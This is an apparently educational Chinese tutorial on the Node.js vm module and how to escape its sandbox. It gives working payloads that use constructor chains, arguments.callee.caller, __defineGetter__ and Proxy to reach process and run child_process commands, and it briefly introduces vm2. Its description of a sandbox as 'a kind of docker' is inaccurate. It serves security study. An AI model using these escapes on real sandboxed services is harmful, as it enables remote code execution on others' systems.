什么是沙箱?
沙箱属于docker的一种,通过创造一个有边界的运行环境将程序放在里面,使程序被边界困住,从而使程序与程序,程序与主机之间相互隔离开,防止主机受到有害程序污染。在Nodejs里,可以通过引入vm模块来创建一个沙箱,但是这个沙箱模块的隔离功能并不完善,所以Node后续升级了vm,也就是vm2
vm一些模块的使用
vm.runInThisContext(code[, options])
:创建一个独立的沙箱运行空间,在当前global的上下文运行它并返回运行结果,code内的代码可以访问外部的global对象,但是不能访问局部作用域
var vm=require("vm");
var p=5;
global.p=8;
vm.runInThisContext("console.log(p)");//8
vm.runInThisCOntext("console.log(global)");
//输出global属性,p:8挂载在global下面
console.log(p);//5
vm.createContext([contextObject[, options]])
:创建可用于运行多个脚本的单个上下文。在使用之前需要创造一个沙箱对象,再将沙箱对象传给该方法(如果没有则会生成一个空的沙箱对象),v8为这个沙箱对象在当前global外再创建一个作用域,此时这个沙箱对象就是这个作用域的全局对象,沙箱内部无法访问global中的属性。vm.runInContext(code, contextifiedObject[, options])
:创建一个独立的沙箱运行空间,在contextifieldObject
的上下文中运行它,返回运行结果,运行代码无权访问本地作用域。contextfieldObject
对象必须是vm.createContext()
方法创建的sandbox
const vm = require('vm');
global.globalVar = 3;
const context = { globalVar: 1 };//创造沙箱对象
vm.createContext(context);//在global外在创造一个上下文
vm.runInContext('globalVar *= 2;', context);
console.log(context.globalVar);//2
console.log(global.globalVar);//3
vm.Script类
:vm.Sciprt
类的实例包含可以在特定上下文中执行的预编译脚本new vm.Script(code[, options])
:创建新的vm.Script
对象编译code
但不运行它。编译后的vm.Script
可以多次运行。code
没有绑定到任何全局对象
也就是说,只有vm.runInThisContext
可以访问到global属性,这里借用两张图
vm沙箱逃逸
所谓沙箱逃逸,就是从沙箱这个封闭的环境里跳脱出来,获取全局对象global的全局变量process,再通过require导入child_process来进行rce。例如
global.process.mainModule.require('child_process').execSync('whoami').toString()
但是前面说到,createContext
后是不能访问到global的,所以最终目标是将global上的process引入到沙箱中
const vm=require("vm");
const y1=vm.runInNewContext(`this.constructor.constructor('return process.mainModule.require(\"child_process\").execSync(\"whoami\").toString()')()`);
console.log(y1);
//const y2=vm.runInNewContext(`this.constructor。constructor('return process()`)
//y2.mainModule.require("child_process").execSync("whoami").toString()
用反引号包裹命令可以更好地执行,不过不包裹好像也没有问题。
这里将字符串执行为代码用的方式是new Function
,具体细节就不说了,详解可以看这里。这里的this指的是传给runInNewContext
的对象,先获取对象的构造器(object)再获取构造器对象的构造器(Function),最终通过return process()
来rce。
const y1=vm.runInNewContext(`this.toString.constructor('return process')`)
也是可行的
还有一个问题就是如果this的类型为数字、字符串、布尔值的话,是否还能访问到global下呢?答案是不行的,这些都是primitive类型的,他们在传递的过程中是将值传递过去而不是引用,在沙箱内的值已经不原来挂载在global下的值了
const vm = require('vm');
const script = new vm.Script(`
(e=>{
const y1=n.toString.constructor('return process')();
return y1.mainModule.require('child_process').execSync('whoami').toString();
//const y2=m.constructor.constructor('return process')();
//return y2;
//ReferenceError: process is not defined
})()
`);
const sandbox = { m: {}, n: 1, x: [], y:/hello/};//其中y是一个正则表达式对象
const context = new vm.createContext(sandbox);
const res = script.runInContext(context);
console.log(res)
沙箱逃逸的其他情况
很多时候传入沙箱的是一个空的对象null
,开发者直接在沙箱环境内创建对象,也没有可以获取的外部对象,这时候要逃逸就得用到一个函数中的内置对象的属性arguments.callee.caller
,这个函数可以返回函数的调用者,所以我们只用在沙箱内定义一个函数,然后在沙箱外调用这个函数,那么arguments.callee.caller
就会返回沙箱外的一个对象,进而可以在沙箱内进行逃逸了。
最常用的是toString,只要有字符串的拼接,toString
就会被自动调用
如果沙箱外没有触发toString,可以用Proxy
来劫持属性,Proxy和Reflect
在get这个钩子下写入恶意函数,只要在沙箱外访问代理对象Proxy
的属性,不管这个属性是否存在,get都会自动运行
还有一种情况就是返回值不可利用或者没有返回值,这时候可以利用throw将Proxy对象抛出,再用catch捕捉到e,将错误信息和执行结果一并输出
也可以通过__defineGetter__
来添加属性,当访问到属性时会自动调用函数并返回值
......
let obj = {} // 针对该对象的 message 属性定义⼀个 getter, 当访问 obj.message 时会调⽤对应的函数
obj.__defineGetter__('message', function(){
const c = arguments.callee.caller;
const p = (c.constructor.constructor('return process'));
return p.mainModule.require('child_process').execSync('whoami').read();
})
throw obj
......
console.log(obj.message);
vm2沙箱逃逸
从上面的例子可以看出,vm的隔离功能并不好,,,逃逸起来非常容易。vm2在vm的基础上对安全性做了进一步的完善,vm2沙箱逃逸分析指路vm2实现原理分析-安全客 - 安全资讯平台 (anquanke.com)
const {VM, VMScript} = require('vm2');
const script = new VMScript("let a = 2;a;");
console.log((new VM()).run(script));
直接放一张文章里的vm2的执行原理